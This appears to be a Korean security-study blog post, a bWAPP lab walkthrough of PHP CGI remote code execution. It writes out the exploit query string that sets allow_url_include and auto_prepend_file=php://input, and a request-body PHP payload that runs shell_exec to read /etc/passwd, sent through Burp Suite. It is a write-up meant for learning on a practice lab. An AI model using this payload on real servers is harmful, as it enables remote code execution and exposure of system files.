728x90
PHP CGI 취약점
CGI 스크립트가 질의 문자열을 제대로 처리하지 못해 발생
PHP CGI 옵션 (주소값)
-n | php.ini 파일을 사용하지 않음 |
-s | source를 색을 입혀 보여줌 |
-d | php.ini에 정의된 설정 내용을 임의 설정 |
body로 임의의 코드를 대입하면 클라이언트 측에서 원하는 php 코드를 실행
allow_url_fopen = 1 | 외부의 URL로부터 파일 읽어옴 |
allow_url_include = 1 | 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include 허용 |
auto_prepend_file = php://input | HTTP Request Body로부터 data가져와 실행 |
실습
비박스 PHP CGI Remote code Execution 선택, 링크 접속
http://192.168.136.***/bWAPP/admin/phpinfo.php
주소변경
http://192.168.136.***/bWAPP/admin/?-s
끝을 ?-s로 변경하니 php 코드가 뜬다
버프스위트를 켜서 형광펜 친 부분을 추가해준다
/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
옵션 외부파일include 허용 request body에 있는 데이터가져옴 함수
<?php $output = shell_exec('cat /etc/passwd'); echo "$output"; die; #output은 변수, cat /etc/passwd 파일을 가져오겠다는 뜻
주의!! 수정 후에 intercept is off를 누르는게 아니라 [forward] 버튼을 누른다
화면에 etc/passwd 파일이 보임
728x90
'보안공부 > bWAPP' 카테고리의 다른 글
[bWAPP] Insecure WebDAV (0) | 2021.05.18 |
---|---|
[bWAPP] 파일업로드 취약점 (0) | 2021.05.11 |
[bWAPP]broken Auth -Insecure Login Forms (0) | 2021.05.06 |
(수정중)[bWAPP]SQL Injection (GET/Search) (0) | 2021.05.02 |
[bWAPP]PHP Code Injection (0) | 2021.04.18 |